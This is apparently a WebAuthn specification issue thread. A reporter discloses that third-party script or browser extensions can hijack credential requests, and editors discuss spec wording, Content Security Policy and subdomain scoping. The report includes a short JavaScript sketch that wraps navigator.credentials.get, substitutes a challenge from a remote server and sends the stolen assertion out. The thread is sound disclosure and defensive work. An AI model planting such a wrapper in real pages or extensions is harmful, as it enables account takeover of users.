webauthn
webauthn copied to clipboard
Missing specification on rpId validations when calling credentials.get() from a different origin
3rd party javascript running on a page is able to call Webauthn API using the rpId of the 1st party origin context. This allows attackers with control over any JS embedded in a page or through browser extension to steal a user's assertion and perform an account takeover attack.
This was proven to be exploitable on all browsers/platforms/authenticators that support Webauthn.
We conducted the attack by wrapping the navigator.credentials.get function and extending its functionality to replace the original PublicKeyCredentialRequestOptions with a malicious one received from a remote server
The implementation looks like this:
originalNavCredGet = navigator.credentials.get
navigator.credentials.get = async (challenge) => {
remoteChallenge = await getRemoteChallenge()
assertion = await originalNavCredGet(remoteChallenge)
sendAssertion(assrtion)
};
This code is executed from a cross-origin JS resource or content script.
A full working POC code will be released in the future. Chromium bug tracker: https://bugs.chromium.org/p/chromium/issues/detail?id=1297739 Mozilla bug tracker: https://bugzilla.mozilla.org/show_bug.cgi?id=1755579
Thanks. This is touched on in the definition of WebAuthn Relying Party:
[...] Communication between the two components MUST use HTTPS or equivalent transport security, but is otherwise beyond the scope of this specification.
and in §13.4.4. Attestation Limitations:
[...] For example, such an attacker could use malicious code injected into Relying Party script. The Relying Party must therefore rely on other means, e.g., TLS and related technologies, to protect the attestation object from man-in-the-middle attacks.
but we don't explicitly mention that other ways of injecting malicious script are equally potent threats.
We do however state in §13. Security Considerations that
[...] the [FIDOSecRef] document provides a security analysis which is overall applicable to this specification. [...]
which in turn lists the threat:
FIDO Client Corrpution [sic!] Attacker gains ability to execute code in the security context of the FIDO Client.
Consequences: Violation of [SA-4]. [Where SA-4: The computing environment on the FIDO user device and the and applications involved in a FIDO operation act as trustworthy agents of the user.]
Mitigations: When the operating environment on the FIDO user device allows, the FIDO Client should operate in a privileged and isolated context under [SA-2] to protect itself from malicious modification by anything outside of the Trusted Computing Base.
So we do technically cover it, but it's certainly a bit buried.
I don't think we explicitly state anywhere in WebAuthn itself the assumption that "the client acts as a trustworthy agent of the user". Perhaps we should, or perhaps that is a fundamental implicit assumption in all web standards? As has been discussed in other issues, an attacker who can execute arbitrary code in the client can already bypass any security boundaries WebAuthn is meant to enforce without breaking WebAuthn itself.
Anyway, perhaps we should also extend the above security considerations to recommend using Content Security Policy or similar techniques to reduce the risk of malicious code injection.
This statement in §13.4.4. Attestation Limitations may also need revision as it does not appear to consider the attack described here.
Under the assumption that a registration ceremony is completed securely, and that the authenticator maintains confidentiality of the credential private key, subsequent authentication ceremonies using that public key credential are resistant to man-in-the-middle attacks.
On 2022-05-18 WG call: we should also point out that RPs need to make sure their subdomains are sufficiently secured too. For example, if users can run arbitrary script on a subdomain of the RP ID, then user-submitted code could hijack authentications for the parent domain.
On 2022-05-18 WG call: we should also point out that RPs need to make sure their subdomains are sufficiently secured too. For example, if users can run arbitrary script on a subdomain of the RP ID, then user-submitted code could hijack authentications for the parent domain.
The reading of the current was spec was that RP's are origins are strict equality, and don't allow subdomains. In webauthn-rs we default to strict equals, and only if you allow a security setting are subdomains allowed. So I think this could be a better way to structure the document for secure-by-defalut.
Thanks, that's a good point. The concern is that the scope of a credential extends to parent domains, which means script on for example usercontent.example.org could exercise credentials scoped to example.org - but indeed the origin of such an assertion would give away that it was generated on the subdomain, if the RP checks for strict equality. But this could also open up for some forms of de-anonymization attacks regardless of whether or not the RP allows subdomain origins.
Absolutely, but I've also seen legitimate use cases of this too. It's just that RP's need to make that decision about if they want to open up to that or not.
And yes, the deanonymisation is always a problem. But that's also true in most IDM's anyway for various types of tokens/credentials/cookies and how subdomains work. Generally as an IDM/RP you need to ensure that no subdomains of that idm are usable else you do open up to this. For example, if you are "example.com" then you bind to idm.example.com, rather than the top level.